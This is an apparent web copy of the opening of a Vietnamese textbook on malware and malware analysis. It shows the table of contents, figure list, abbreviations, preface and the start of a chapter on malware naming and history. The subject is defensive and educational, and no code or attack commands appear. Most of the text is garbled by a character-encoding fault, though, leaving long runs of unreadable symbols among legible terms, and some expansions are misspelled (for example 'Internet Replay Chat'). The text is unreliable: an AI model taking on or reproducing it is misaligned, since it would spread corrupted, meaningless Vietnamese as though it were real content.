Giáo trình mã độc

🔙 Quay lại trang tải sách pdf ebook Giáo trình mã độc Ebooks Nhóm Zalo GIÁO TRÌNH MÃ ĈӜ& 1 MҗC LҗC 'DQK PөF Wӯ YLӃW WҳW .......................................................................................... 5 'DQK PөF KuQK YӁ.............................................................................................. 6 /ӡL QyL ÿҫX....................................................................................................... 11 &KѭѫQJ ......................................................................................................... 13 7Ә1* 48$1 9ӄ 0 ĈӜ&.......................................................................... 13 /ӏFK Vӱ SKiW WULӇQ FӫD Pm ÿӝF KҥL ......................................................... 13 .KiL QLӋP Pm ÿӝF ......................................................................... 13 1.1. 4X\ ѭӟF ÿһW WrQ .............................................................................. 13 /ӏFK Vӱ SKiW WULӇQ............................................................................ 14 ;X KѭӟQJ SKiW WULӇQ ...................................................................... 16 3KkQ ORҥL Pm ÿӝF ................................................................................... 19 7KHR KuQK WKӭF Ok\ QKLӉP............................................................... 20 1.2 3KkQ ORҥL FӫD 1,67 ....................................................................... 27 &iF SKѭѫQJ SKiS SKiW KLӋQ Pm ÿӝF ...................................................... 33 &iF SKѭѫQJ SKiS SKzQJ FKӕQJ Pm ÿӝF ................................................ 37 &KѭѫQJ ......................................................................................................... 39 &Ѫ &+ӂ +2Ҥ7 ĈӜ1* &Ӫ$ 0 ĈӜ& ....................................................... 39 &iF ÿӏQK GҥQJ Gӳ OLӋX QKLӉP Pm ÿӝF.................................................... 39 ĈӏQK GҥQJ WұS WLQ YăQ EҧQ .............................................................. 39 ĈӏQK GҥQJ WURQJ WӋS WLQ FKѭѫQJ WUuQK............................................. 42 7ұS WLQ 2IILFH ................................................................................. 47 7ұS WLQ NKӣL ÿӝQJ ........................................................................... 48 &ҩX WU~F FKL WLӃW ÿӏQK GҥQJ 3H)LOH ......................................................... 51 &ҩX WU~F 3( ILOH .............................................................................. 59 &ѫ FKӃ KRҥW ÿӝQJ FӫD Pm ÿӝF ............................................................... 68 4Xi WUuQK NKӣL ÿӝQJ Pi\ WtQK ........................................................ 70 0ӝW Vӕ Nӻ WKXұW Fѫ EҧQ FӫD %-virus ............................................... 71 0ӝW Vӕ Nӻ WKXұW Fѫ EҧQ FӫD )-virus................................................ 75 &iF KuQK WKӭF WҩQ F{QJ FӫD Pm ÿӝF....................................................... 79 2 3KiW WiQ TXD HPDLO Vӱ GөQJ ILOH ÿtQK NqP..................................... 79 3KiW WiQ TXD HPDLO Vӱ GөQJ 0m +70/ ÿӝF KҥL........................... 81 2.4.3. Phát tán qua USB .......................................................................... 84 3KiW WiQ GӵD WUrQ OLQN ÿӝF KҥL ........................................................ 84 &kX KӓL {Q WұS........................................................................................ 85 &KѭѫQJ ........................................................................................................ 86 &Ѫ %Ҧ1 9ӄ 3+Æ1 7Ë&+ 0 ĈӜ& ............................................................ 86 3. &iF NLӃQ WKӭF Fѫ EҧQ WURQJ SKkQ WtFK Pm ÿӝF ....................................... 87 1J{Q QJӳ $VVHPEO\ ELW.............................................................. 89 0{L WUѭӡQJ Yj FiF F{QJ Fө Kӛ WUӧ SKkQ WtFK Pm ÿӝF...................... 98 4X\ WUuQK SKkQ WtFK Yj [ӱ Oê PүX Pm ÿӝF KҥL..................................... 102 1KұQ GLӋQ KӋ WKӕQJ Eӏ QKLӉP Pm ÿӝF KҥL Yj NKRDQK YQJ [ӱ Oê 102 7KX WKұS PүX Pm ÿӝF KҥL ............................................................. 104 *ӱL PүX ÿӃQ FiF KmQJ $QWL-virus ................................................ 111 3KkQ WtFK PүX Vӱ GөQJ PӝW Vӕ SKѭѫQJ SKiS ............................... 118 9LӃW EiR FiR WәQJ NӃW KjQK YL KRҥW ÿӝQJ Pm ÿӝF ......................... 122 ;ӱ Oê PүX Pm ÿӝF ........................................................................ 124 &kX KӓL Yj EjL WұS................................................................................ 124 &Kѭѫng 4 ....................................................................................................... 125 &È& .Ӻ 7+8Ұ7 3+Æ1 7Ë&+ 7Ƭ1+ ........................................................ 125 ;k\ GӵQJ P{L WUѭӡQJ SKkQ WtFK WƭQK ................................................... 125 ;k\ GӵQJ P{L WUѭӡQJ ҧR ............................................................. 125 &{QJ Fө 3HLG ................................................................................ 128 4.1.2 Dependency Walker..................................................................... 128 &{QJ Fө 3(.................................................................................. 129 &{QJ Fө +H[(GLWRU...................................................................... 130 4.1.5 IDA pro......................................................................................... 130 &{QJ Fө 5HIOHFWRU........................................................................ 140 &{QJ Fө 9% 'HFRPSOLHU............................................................ 141 &{QJ Fө 2OO\GHEXJ....................................................................... 142 3 .ӻ WKXұW SKkQ WtFK Vѫ Eӝ...................................................................... 148 3KkQ WtFK JLҧL QpQ FiF PүX.................................................................. 151 %ҧR YӋ Pm ÿӝF EҵQJ SKѭѫQJ SKiS QpQ PүX ................................ 151 *LҧL QpQ PүX Pm ÿӝF.................................................................... 152 3KkQ WtFK Vӱ GөQJ Nӻ WKXұW GӏFK QJѭӧF ............................................... 154 4.6 9LӃW EiR FiR YӟL PүX YӯD SKkQ WtFK ................................................... 174 &kX KӓL Yj EjL WұS................................................................................ 176 &KѭѫQJ ....................................................................................................... 177 &È& .Ӻ 7+8Ұ7 3+Æ1 7Ë&+ ĈӜ1* ...................................................... 177 5.1 .ӻ WKXұW SKkQ WtFK ÿӝQJ Vӱ GөQJ 6DQGER[.................................... 177 &{QJ QJKӋ 6DQER[ FӫD -RHER[ .................................................... 177 &{QJ QJKӋ 6DQGER[ FӫD 7KUHDWH[SHUW ........................................ 181 .ӻ WKXұW SKkQ WtFK KjQK YL Vӱ GөQJ P{L WUѭӡQJ Pi\ ҧR................... 183 5.2.1 Sysanalyzer.................................................................................. 185 5.2.2 Process Explorer.......................................................................... 186 5.2.3 Regshot........................................................................................ 187 5.2.4 HijackThis................................................................................... 188 5.2.5 TCPView...................................................................................... 189 5.2.6 Wireshark ..................................................................................... 190 5.2.7 Svchost Process Analyzer ............................................................ 191 5.2.8 Autoruns....................................................................................... 192 &iF EѭӟF SKkQ WtFK WURQJ Nӻ WKXұW TXDQ ViW KjQK YL ........................... 193 5.4 3KkQ WtFK PӝW WUѭӡQJ KӧS Fө WKӇ ......................................................... 194 7¬, /,ӊ8 7+$0 .+Ҧ2............................................................................. 199 3+Ө /Ө&...................................................................................................... 200 4 '$1+ 0Ө& 7Ӯ 9,ӂ7 7Ҳ7 API Aplication Programming Interface BP Break Point Ddos Distributed Denial of Service DLL Dynamic Link Library DNS Domain Name Service LSASS Local Security Authority Subsystem Service IRC Internet Replay Chat Malware Malicious Sofware PE Portable Executable DHCP Dynamic Host Configuaration Protocol NAT Network Address Transaltion OEP Original Entry Point RVA Relative Virtual Address IAT Import Address Table VCL Virus Creation Laboratory VB Visual Basic URL Uniform Resource Lacator MZ Mark Zbiknowsky ASM Assembly 5 '$1+ 0Ө& +Î1+ 9Ӏ Hình 1- &iF QJX\ Fѫ PҩW DQ WRjQ.................................................................. 17 Hình 1- ĈLӋQ WKRҥL Vӱ GөQJ KӋ ÿLӅX KjQK $QGURLG ,26 6\PELDQ ............. 19 Hình 1- %LӇX ÿӝ Vӵ SKiW WULӇQ Pm ÿӝF .......................................................... 19 Hình 1- 3KkQ ORҥL Pm ÿӝF KҥL....................................................................... 20 Hình 1- 0{ KuQK KRҥW ÿӝQJ /RJLF ERPE ..................................................... 21 Hình 1- 3KkQ ORҥL YLUXV................................................................................. 24 Hình 1- 0{ Wҧ YLUXV Ok\ ILOH.......................................................................... 24 Hình 1- 0{ Wҧ YӅ 3KLVKLQJ ............................................................................ 33 Hình 1- 0{ KuQK FKѭѫQJ WUuQK TXpW KjQK YL ................................................ 36 Hinh 2- &iF ÿӏQK GҥQJ YұW FKӫ FKӭD Pm WKӵF WKL Fy WKӇ Eӏ QKLӉP YLUXV...... 39 Hình 2-2 &iF ORҥL WұS WLQ YăQ EҧQ.................................................................. 40 Hình 2- &iF ORҥL WӋS WLQ FKѭѫQJ WUuQK .......................................................... 42 Hình 2- 0{ Wҧ Gӳ OLӋX PӝW WұS WLQ &20 WLrX ELӇX ....................................... 44 Hình 2- &ҩX WU~F ÿҫX ILOH FӫD ILOH (;( WLrX ELӇX...................................... 45 Hình 2- &ҩX WU~F ÿҫX ILOH PӝW WұS WLQ 1(-(;( WLrX ELӇX............................. 46 Hinh 2- &ҩX WU~F ÿҫX ILOH PӝW WұS WLQ 3(-EX( WLrX ELӇX ............................ 46 Hinh 2- &iF WұS WLQ 0V2IILFH Fy WKӇ Eӏ QKLӉP YLUXV................................... 48 Hinh 2- &iF Wә FKӭF NKӣL ÿӝQJ Fy WKӇ QKLӉP YLUXV ................................... 48 Hinh 2- 7ә FKӭF ÿƭD FӭQJ WUѭӟF NKL QKLӉP %RRW9LUXV.............................. 49 Hinh 2- 7ә FKӭF ÿƭD FӭQJ VDX NKL QKLӉP %RRW9LUXV................................. 49 Hình 2- 7ә FKӭF ÿƭD PӅP WUѭӟF NKL QKLӉP 9LUXV...................................... 50 Hình 2- 7ә FKӭF ÿƭD PӅP VDX NKL QKLӉP 9LUXV......................................... 51 Hình 2- 7әQJ TXDQ FKѭѫQJ WUuQK 3H([SORUHU ............................................ 52 Hình 2- 0jQ KuQK KLӇQ WKӏ 3( H[SORUHU...................................................... 53 Hình 2- 0jQ KuQK KLӇQ WKӏ FKӭF QăQJ 5HVRXUFH ........................................ 54 Hình 2- 0jQ KuQK KLӇQ WKӏ 6HFWLRQ +HDGHUV 9LHZHU.................................. 55 Hình 2- +LӇQ WKӏ 7+ÐQJ WLQ 6HFWLRQ (GLWRU.............................................. 56 Hình 2- +LӇQ FKӭF QăQJ 3( ([SORUHU 'LVDVVHPEO\.................................. 57 Hình 2- +LӇQ WKӏ WtQK QăQJ 'HSHQGHQF\ 6FDQQHU .................................... 58 Hình 2- &ҩX WU~F 3( ILOH............................................................................. 59 Hình 2- 4XDQ ViW Yӏ WUt FiF WKjQK SKҫQ YӟL 3(LG ...................................... 61 Hình 2- &ҩX WU~F ([SRUW 7DEOH................................................................... 64 6 Hình 2- &ҩX WU~F ,PSRUW 7DEOH.................................................................. 66 Hình 2- 4XDQ ViW ,PSRUW 7DEOH YӟL FKѭѫQJ WUuQK 3( ILOH .......................... 67 Hình 2-28 Phi hoҥi ljm file phân mҧnh.......................................................... 74 Hình 2-29 Lây vӟi file .EXE.......................................................................... 76 Hình 2- 7ӋS WLQ ÿӝF KҥL ÿtQK NqP TXD HPDLO.............................................. 79 Hình 2- 7ҩQ F{QJ TXD HPDLO ..................................................................... 81 Hình 2- 7Kѭ ÿLӋQ Wӱ ÿtQK NqP +70/ ÿӝF KҥL ......................................... 81 Hình 2- 0LQK KӑD 6FULSW FKӭD WURQJ WӋS WLQ ÿtQK NqP +70/.................. 82 Hinh 2-34: Phát tán qua USB.......................................................................... 84 Hình 2- 3KiW WiQ GӵD WUrQ FiF OLQN ÿӝF KҥL .................................................. 85 Hình 3- .LӃQ WU~F &38.................................................................................. 87 Hình 3- 0{ KuQK WUӯX WѭӧQJ......................................................................... 88 Hình 3- &ҩS SKiW Eӝ QKӟ ÿӝQJ .................................................................... 93 Hình 3- &ҩX WU~F OѭX ELӃQ WRjQ FөF ............................................................. 94 Hình 3- &ҩX WU~F OѭX ELӃQ FөF Eӝ................................................................. 95 Hình 3- +LӇQ WKӏ YzQJ OһS WUrQ ,'$ ............................................................. 96 Hình 3- ĈRҥQ KjP 0HVVDJH%R[$ WURQJ XVHU .......................................... 97 Hình 3- *LDR GLӋQ FKѭѫQJ WUuQK .................................................................. 106 Hình 3- *LDR GLӋQ NӃW TXҧ ....................................................................... 107 Hinh 3- *LDR GLӋQ JKL QKұW Nê.................................................................. 108 Hinh 2-12: VirusTotal .................................................................................. 112 Hình 3- &KѭѫQJ WUuQK -zip..................................................................... 113 Hinh 3- JӱL HPDLO Vӱ GөQJ ÿӏQK GҥQJ ]LS................................................ 114 Hình 3- *LDR GLӋQ JӱL HPDLO.................................................................... 115 Hinh 3- *ӱL PүX OrQ WUDQJ 6\PDWHF ...................................................... 116 Hình 3- *ӱL PүX OrQ WUDQJ %LWGHIHQGHU ................................................... 117 Hình 3- *ӱL PүX OrQ WUDQJ $9*............................................................... 117 Hình 3- *ӱL PүX OrQ WUDQJ $YLUD ............................................................. 118 Hình 3- .LӇP WUD P{L WUѭӡQJ SKkQ WtFK ................................................... 122 Hình 3- 7ҥR DXWRUXQ ............................................................................... 123 Hình 3-22: Lây lan file crack vào các file .rar ............................................ 123 Hình 3- /k\ QKLӉP YjR PҥQJ 3 3 WRUUHQW ............................................... 124 Hình 4- &KӑQ FҩX KuQK PҥQJ .................................................................... 126 7 Hình 4-2: Host- only Networking ................................................................ 127 Hình 4- 7ҥR VQDSVKRW ................................................................................ 127 Hình 4- 3KҫQ PӅP 3HLG ............................................................................. 128 Hình 4-5: Dependency Walker...................................................................... 129 Hình 4-6 ImportREC.................................................................................... 129 Hình 4-7 PE Tools........................................................................................ 130 Hình 4-8 HexEditor...................................................................................... 130 Hình 4-9: IDA pro ........................................................................................ 131 Hình 4- *LDR GLӋQ OjP YLӋF ,'$ SUR......................................................... 132 Hình 4- &ӱD Vә ,'$ YLHZ ....................................................................... 133 Hình 4- &ӱD Vә )XQFWLRQ ......................................................................... 134 Hình 4- &ӱD Vә ,PSRUW ............................................................................ 134 Hình 4- &ӱD Vә WKDP FKLӃX &URVV- references......................................... 135 Hình 4- &ӱD Vә )XQFWLRQ FDOOV.................................................................. 135 Hình4-16: Menu Jump................................................................................... 136 Hình 4-17: Menu Search ............................................................................... 137 Hình 4- 7uP NLӃP FKXӛL Fө WKӇ ................................................................ 138 Hình 4-19: Menu View.................................................................................. 138 Hình 4- &ӱD Vә W\ FKӑQ YӅ FRPSOLHU ...................................................... 139 Hình 4-21: Menu Edit.................................................................................... 140 Hình 4- *LDR GLӋQ SKҫQ PӅP 5HIOHFWRU................................................... 141 Hình 4-23: VB Decomplier........................................................................... 142 Hình 4- *LDR GLӋQ OjP YLӋF 2OO\GEJ ......................................................... 143 Hình 4-25:Menu View................................................................................... 144 Hình 4-26: Menu Debug .............................................................................. 145 Hình 4- 7\ FKӑQ ÿiQJ FK~ ê WURQJ FӱD Vә 'LVDVVHPEOHU....................... 147 +uQK )LOH 3( NKL Eӏ SDFN .......................................................................... 151 Hình 4- .KL ÿѭӧF JLҧL QpQ....................................................................... 152 Hình 4-30 Xem memorymap các section..................................................... 155 Hình 4- ;XҩW KLӋQ FiF KjP JLҧL Pm......................................................... 156 Hình 4- 'DQK ViFK FiF FKXӛL ÿѭӧF JLҧL Pm WuP ÿѭӧF EҵQJ 'HEXJ ........ 157 Hình 4- 6ӱ GөQJ KjP Fy FKӭF QăQJ WѭѫQJ Wӵ KjP *HW3URF$GGUHVV....... 158 Hình 4- 9LӃW OҥL WrQ KjQJ ORҥW FiF ÿӏD FKӍ................................................. 158 8 Hình 4- *ӑL +jP FKHFN GHEXJ................................................................. 159 Hình 4- *ӑL KjP 123............................................................................. 159 Hình 4- ;iF ÿӏQK ÿѭӧF YQJ EXIIHU......................................................... 160 Hình 4-39: /ѭX ILOH FҫQ Oҩ\ EҳW ÿҫX Wӯ RIIVHW ................................... 160 Hình 4- 6ӱD OҥL ILOH YӟL KH[HGLWRU............................................................. 161 Hình 4- .LӇP WUD YӟL ILOH YӯD VӱD ........................................................... 161 Hình 4- ;HP FiF VHFWLRQ FӫD ILOH ............................................................. 162 Hình 4- 'ӯQJ OҥL ӣ KjP 0DLQ.................................................................. 162 Hình 4- /ѭX FiF ÿӏD FKӍ........................................................................... 163 Hình 4-45: Registry search............................................................................ 164 Hình 4- .LӇP WUD P{L WUѭӡQJ ҧR............................................................... 164 Hình 4-47: Openfile host............................................................................... 165 Hình 4- ,Q WKrP FiF FKXӛL........................................................................ 165 Hình 4- ;XҩW KLӋQ KjP JLҧL Pm ÿӇ Oҩ\ NKyD UHJLVWU\ .............................. 166 Hình 4- +jP JLҧL Pm Fy ÿӏD FKӍ I9.................................................. 166 Hình 4- .LӇP WUD KjP JLҧ Pm ÿӇ Oҩ\ FKXӛL FҫQ JLҧL Pm ......................... 167 Hình 4- *LҧL Pm WrQ ILOH GQJ WrQ ÿăQJ Nt 5HJLVWU\................................. 167 Hình 4- &iF ÿѭӡQJ GүQ ........................................................................... 168 Hình 4- /ҩ\ WrQ ә ÿƭD Yj NLӇX ә ÿƭD......................................................... 168 Hình 4- &RS\ ILOH YLUXV WҥR PӟL FiF ILOH .................................................. 169 Hình 4- 7ҥR ILOH DXWRUXQ........................................................................... 169 Hình 4- 7ҥR WKUHDG Yj FiF KRҥW ÿӝQJ FKtQK ............................................. 170 Hình 4- 7ҥR PXWH[QDPH \ W P8W O ...................................................... 170 Hình 4- 7ҥR FRQHFW WӟL & & VHUYHU........................................................ 171 Hình 4-60: Dùng các socket API................................................................... 171 Hình 4- &DVH )XQFWLRQ YӟL FiF OӋQK FӫD ,5& QKѭ .,&. 35,906* .. 172 Hình 4- 7uP ÿѭӧF FKӭF QăQJ Wӵ Kӫ\ ± Kӫ\ FiF UHJLVWUy key. .................. 173 Hình 4-63 Lây lan file crack.exe................................................................... 173 Hình 4- ĈѭD ILOH Ok\ ODQ YjR PҥQJ 3 3 ................................................... 174 Hình 4- .LӇP WUD P{L WUѭӡQJ SKkQ WtFK ................................................... 175 Hình 4- 7ҥR DXWRUXQ ................................................................................. 175 Hình 4-67 Lây lan file crack vào cacsi file .rar............................................. 176 Hình 4- /k\ QKLӉP YjR PҥQJ 3 3 WRUUHQW ................................................ 176 9 Hình 5- 7KLӃW NӃ WәQJ WKӇ 6DQGER[ ± JoeBox ............................................ 178 Hình 5- 7KLӃW NӃ FKL WLӃW 6DQGER[- Joebox.................................................. 179 Hình 5- .ӻ WKXұW KRRNLQJ DQG ORJJLQJ ...................................................... 180 Hình 5- 4X\ WUuQK NK{L SKөF OҥL KӋ WKӕQJ .................................................. 180 Hình 5- 1JѭӡL GQJ JӱL \rX FҫX WӟL QѫL FXQJ FҩS SKҫQ PӅP GLӋW YLUXV.. 182 Hình 5- 1JѭӡL GQJ JӱL PүX WӟL 7KHDW([SHUW........................................... 182 Hình 5- 7KUHDW([SHW WUҧ YӅ NӃW TXҧ ............................................................ 183 Hình 5- 0{ KuQK WKӵF QJKLӋP.................................................................... 185 Hình 5-9: Sysanalyzer ................................................................................... 185 Hình 5-10: Process Explorer ......................................................................... 186 Hình 5-11: Regshot ...................................................................................... 188 Hình 5-12: HijackThis.................................................................................. 189 Hình 5-13: TCPView.................................................................................... 190 Hình 5-14: Wireshark................................................................................... 191 Hình 5-15: Svchost Process Analyzer........................................................... 192 Hình 5-16 Autoruns...................................................................................... 193 10 /Ӡ, 1Ï, ĈҪ8 1Jj\ QD\ F{QJ QJKӋ WK{QJ WLQ PҥQJ ,QWHUQHW QJj\ FjQJ SKiW WULӇQ .KL QKX FҫX FӫD YLӋF Vӱ GөQJ ,QWHUQHW FӫD FRQ QJѭӡL QJj\ FjQJ WăQJ WKu FǊQJ Oj O~F QKӳQJ QJX\ Fѫ PҩW DQ WRjQ WK{QJ WLQ [XҩW KLӋQ FjQJ QKLӅX QәL EұW là FiF QJX\ Fѫ Wӯ Pm ÿӝF 0m ÿӝF [XҩW KLӋQ EҩW NǤ ӣ ÿkX WUrQ P{L WUѭӡQJ FӫD FiF WKLӃW Eӏ ÿLӋQ Wӱ QKѭ FiF ÿƭD PӅP WKLӃW Eӏ QJRҥL YL 86%, máy tính ÿӃQ P{L WUѭӡQJ ,QWHUQHW WURQJ FiF website WURQJ FiF WLQ QKҳQ WURQJ KzP WKѭ ÿLӋQ Wӱ FӫD QJѭӡL GQJ WURQJ FiF SKҫQ PӅP PLӉQ SKt« 0m ÿӝF ÿm lây lan YjR PӝW Pi\ WtQK KRһF KӋ WKӕQJ PҥQJ VӁ Jk\ QKӳQJ WKLӋW KҥL NKy OѭӡQJ +LӋQ QD\ FjQJ QJj\ FjQJ QKLӅX ORҥL Pm ÿӝF [XҩW KLӋQ ӣ FiF WKӇ KLӋQ NKiF QKDX FKҥ\ WUrQ QKLӅX P{L WUѭӡQJ NKiF QKDX QKѭ :LQGRZV /LQX[ 0DF26 $QGURLG ,26 *LiR WUuQK 0m ÿӝF VӁ JL~S VLQK YLrQ Fy QKӳQJ NLӃQ WKӭF Fѫ EҧQ YӅ Pm ÿӝF QKӳQJ KRҥW ÿӝQJ QKӳQJ FiFK WKӭF ÿӇ QKұQ GҥQJ SKkQ WtFK [ӱ Oê Pm ÿӝF JLҧP WKLӇX WKLӋW KҥL FKR FiF KӋ WKӕQJ Pi\ WtQK *LiR WUuQK JӗP QKӳQJ FKѭѫQJ QKѭ VDX &KѭѫQJ 7әQJ TXDQ YӅ Pm ÿӝF 1ӝL GXQJ WUuQK Ej\ FiF GҥQJ Pm ÿӝF QJX\ Fѫ FiF SKѭѫQJ SKiS SKiW KLӋQ Yj SKzQJ FKӕQJ Pm ÿӝF &KѭѫQJ &ѫ FKӃ KRҥW ÿӝQJ FӫD Pm ÿӝF 1ӝL GXQJ WUuQK Ej\ FiF ÿӏQK GҥQJ SKә ELӃQ FӫD Pm ÿӝF Fѫ FKӃ KRҥW ÿӝQJ FӫD Pm ÿӝF. &KѭѫQJ &ѫ EҧQ YӅ SKkQ WtFK Pm ÿӝF 1ӝL GXQJ WUuQK Ej\ FiF NLӃQ WKӭF Fѫ EҧQ YӅ SKkQ WtFK Pm ÿӝF TX\ WUuQK phân tích. &KѭѫQJ &iF Nӻ WKXұW SKkQ WtFK WƭQK 1ӝL GXQJ WUuQK Ej\ Nӻ WKXұW SKkQ WtFK WƭQK ӭQJ GөQJ YjR YLӋF SKkQ WtFK Pm ÿӝF. &KѭѫQJ &iF Nӻ WKXұW SKkQ WtFK ÿӝQJ 1ӝL GXQJ WUuQK Ej\ Nӻ WKXұW SKkQ WtFK ÿӝQJ ӭQJ GөQJ YjR YLӋF SKkQ WtFK Pm ÿӝF. +j Q͡L QJj\ 4 tháng QăP 11 12 &KѭѫQJ TӘNG QUAN Vӄ 0 ĈӜC 1.1 Lӏch sӱ phát triӇn cӫD Pm ÿӝc hҥi 1.1.1. Khái niӋm mm ÿӝc 0DOZDUH 0DOLFLRXV VRIWZDUH KD\ FzQ JӑL Oj Pm ÿӝF 0DOLFLRXV FRGH Oj WrQ JӑL FKXQJ FKR FiF SKҫQ PӅP ÿѭӧF WKLӃW NӃ OұS WUuQK ÿһF ELӋW ÿӇ Jk\ KҥL FKR Pi\ WtQK KRһF OjP JLiQ ÿRҥQ P{L WUѭӡQJ KRҥW ÿӝQJ PҥQJ 0m ÿӝF WKkP QKұS YjR PӝW KӋ WKӕQJ Pi\ WtQK Pj NK{QJ Fy Vӵ ÿӗQJ ê FӫD QҥQ QKkQ 0m ÿӝF KҥL FzQ ÿѭӧF ÿӏQK QJKƭD Oj ³PӝW FKѭѫQJ WUuQK SURJUDP ÿѭӧF FKqQ PӝW FiFK Et PұW YjR KӋ WKӕQJ YӟL PөF ÿtFK OjP WәQ KҥL ÿӃQ WtQK Et PұW WtQK WRjQ YҽQ KRһF WtQK VҹQ VjQJ FӫD KӋ WKӕQJ´ 1KLӅX QJѭӡL Vӱ GөQJ Pi\ WtQK YүQ WKѭӡQJ GQJ WKXұW QJӳ 9LUXV ÿӇ FKӍ FKXQJ FKR FiF ORҥL Pm ÿӝF KҥL QKѭQJ WKӵF FKҩW Pm ÿӝF KҥL EDR JӗP QKLӅX ORҥL NKiF QKDX. 4X\ ѭӟF ÿһt tên +LӋQ QD\ Fy UҩW QKLӅX ORҥL Pm ÿӝF NKiF QKDX ÿѭӧF FiF KmQJ SKҫQ PӅP GLӋW 9LUXV WKX WKұS WҥL FiF WKӡL ÿLӇP NKiF QKDX ÿLӅX Qj\ GүQ ÿӃQ YLӋF WKӕQJ QKҩW ÿһW WrQ Pm ÿӝF WKHR PӝW TX\ ѭӟF WrQ QKҩW ÿӏQK UҩW NKy WKӵF KLӋQ ÿѭӧF 9jR QăP FiF WKjQK YLrQ ViQJ OұS &$52 &RPSXWHU $QWLYLUXV 5HVHDFKHUV 2UJDQL]DWLRQ ÿm WKLӃW NӃ PӝW FKѭѫQJ WUuQK ÿһW WrQ cho mã ÿӝF ӭQJ GөQJ FKR FiF VҧQ SKҭP $QWL9LUXV WX\ QKLrQ FiF FKѭѫQJ trình FӫD Wә FKӭF &$52 Qj\ ÿm OҥF KұX VR YӟL [X WKӃ SKiW WULӇQ Yj WӕF ÿӝ SKiW WUӇQ FӫD Pm ÿӝF KLӋQ JLӡ. &iF QKj QJKLrQ FӭX FiF KmQJ VҧQ SKҭP NK{QJ Fy WKӡL JLDQ ÿӇ WKӓD WKXұQ YӟL QKDX WrQ FKXQJ FKR PӝW PүX Pm ÿӝF PӟL 0һF G QKѭ Yұ\ QKѭQJ YӅ Fѫ EҧQ FiF KmQJ ÿӅX ÿһW WrQ FiF PүX Pm ÿӝF WKHR TX\ ѭӟF QKѭ VDX Type.Flatform.FamilyName.Variant 7URQJ ÿy Type FKӍ UD NLӇX Pm ÿӝF WURMDQ GURSSHU YLUXV, adware, backdoor, rootkit, worm... Flatform FKӍ UD P{L WUѭӡQJ KӑD ÿӝQJ FӫD Pm ÿӝF 13 Win32 +͏ ÿL͉X KjQK ZLQGRZV ELWV Win64 +͏ ÿL͉X KjQK ZLQGRZV ELWV Linux +͏ ÿL͉X KjQK /LQX[ OSX +͏ ÿL͉X KjQK 0DF 26; SymbOS : Symbian OS Android +͏ ÿL͉X KjQK DQGURLG FamilyName: 7rQ GzQJ Pm ÿӝF YӟL FiF ÿһF ÿLӇP SKѭѫQJ WKӭF KRҥW ÿӝQJ JLӕQJ QKDX Variant: ÿҥL GLӋQ FKR FiF ELӃQ WKӇ WURQJ PӝW GzQJ Pm ÿӝF 9t Gө: Virus.Win32.XdocCrypt.1 Type: Virus, Flatform: Win32, Family: XdocCrypt, Variant:1. 1.1.3 Lӏch sӱ phát triӇn +LӋQ QD\ ,QWHUQHW QJj\ FjQJ SKiW WULӇQ VRQJ VRQJ ÿy Oj Vӵ SKiW WULӇQ OӟQ PҥQK FӫD Pm ÿӝF 0ӛL QJj\ Fy KjQJ WUăP PүX Pm ÿӝF [XҩW KLӋQ GѭӟL QKLӅX KuQK WKӭF NKiF QKDX PөF WLrX NKiF QKDX 3KҫQ GѭӟL ÿk\ OLӋW Nr PӝW Vӕ PӕF TXDQ WUӑQJ Vӵ SKiW WULӇQ FӫD Pm ÿӝF 1ăP 1949 John von Neuman (1903-1957) SKiW WULӇQ QӅQ WҧQJ Oê WKX\ӃW Wӵ QKkQ EҧQ FӫD PӝW FKѭѫQJ WUuQK FKR Pi\ WtQK 1ăP FiF YLUXV ÿҫX WLrQ [XҩW KLӋQ WURQJ KӋ ÿLӅX KjQK FӫD Pi\ WtQK Apple II. 1ăP )UHG &RKHQ PӝW VLQK YLrQ ÿҥL KӑF 0ӻ ÿm ÿѭD UD ÿӏQK QJKƭD ÿҫX WLrQ YӅ YLUXV ³/j PӝW FKѭѫQJ WUuQK Pi\ WtQK Fy WKӇ WiF ÿӝQJ QKӳQJ FKѭѫQJ WUuQK Pi\ WtQK NKiF EҵQJ FiFK VӱD ÿәL FK~QJ EҵQJ SKѭѫQJ SKiS ÿѭD YjR PӝW EҧQ VDR FӫD Qy´ )UHG &RKHQ OX{Q Oj FiL WrQ ÿѭӧF QKҳF ÿӃQ NKL QyL YӅ OӏFK Vӱ YLUXV 1ăP KDL DQK HP OұS WUuQK YLrQ QJѭӡL 3DNLVWDQ Oj %DVLW Yj $PMDG WKD\ WKӃ Pm WKӵF KLӋQ H[HFXWDEOH FRGH WURQJ UmQK JKL NKӣL ÿӝQJ FӫD PӝW ÿƭD PӅP EҵQJ Pm ULrQJ FӫD Kӑ ÿѭӧF WKLӃW NӃ YӟL PөF ÿtFK SKiW WiQ Wӯ PӝW ÿƭD PӅP . NKL FKR YjR EҩW Fӭ ә ÿƭD QjR /RҥL ÿƭD PӅP PDQJ YLUXV Qj\ Fy PiF ³ %UDLQ´ Ĉk\ FKtQK Oj QKӳQJ YLUXV 06-'26 [XҩW KLӋQ VӟP QKҩW 1ăP /HKLJK PӝW WURQJ QKӳQJ YLUXV ILOH ÿҫX WLrQ [kP QKұS FiF WӋS OӋQK FRPPDQG FRP YLUXV Qj\ VDX ÿy WLӃQ KRi WKjQK YLUXV -HUXVDOHP 14 0ӝW YLUXV NKiF Fy WrQ ,%0 &KULVWPDV YӟL WӕF ÿӝ SKiW WiQ FӵF QKDQK EҧQ VDR WLӃQJ Oj FѫQ iF PӝQJ ÿӕL YӟL FiF Pi\ WtQK OӟQ PDLQIUDPH FӫD %LJ %OXH WURQJ VXӕW QăP ÿy ÿӗQJ Kӗ FӫD Pi\ WtQh JLӕQJ ERP Qә FKұP FjL KjQJ ORҥW FKR FQJ PӝW WKӡL ÿLӇP 7KiQJ FQJ QăP 5REHUW 0RUULV FKӃ UD ZRUP FKLӃP Fӭ FiF Pi\ WtQK FӫD $53$1(7 OjP OLӋW NKRҧQJ Pi\ 1ăP YLUXV ÿD KuQK SRO\PRUSKLF YLUXV UD ÿӡL ÿҫX WLrQ Oj 7HTXLOOD /RҥL Qj\ ELӃW Wӵ WKD\ ÿәL KuQK WKӭF FӫD Qy Jk\ UD Vӵ NKy NKăQ FKR FiF FKѭѫQJ WUuQK FKӕQJ YLUXV 1ăP 7Uz OӯD TXD H-PDLO ÿҫX WLrQ [XҩW KLӋQ WURQJ FӝQJ ÿӗQJ WLQ KӑF 7Uz Qj\ FҧQK EiR QJѭӡL Vӱ GөQJ YӅ PӝW ORҥL YLUXV Fy WKӇ [Ri WRjQ Eӝ ә FӭQJ QJD\ NKL Pӣ H-mail có dzQJ FKӫ ÿӅ ³*RRG 7LPHV´ 0һF G NK{QJ Jk\ WKLӋW KҥL Ju Pj 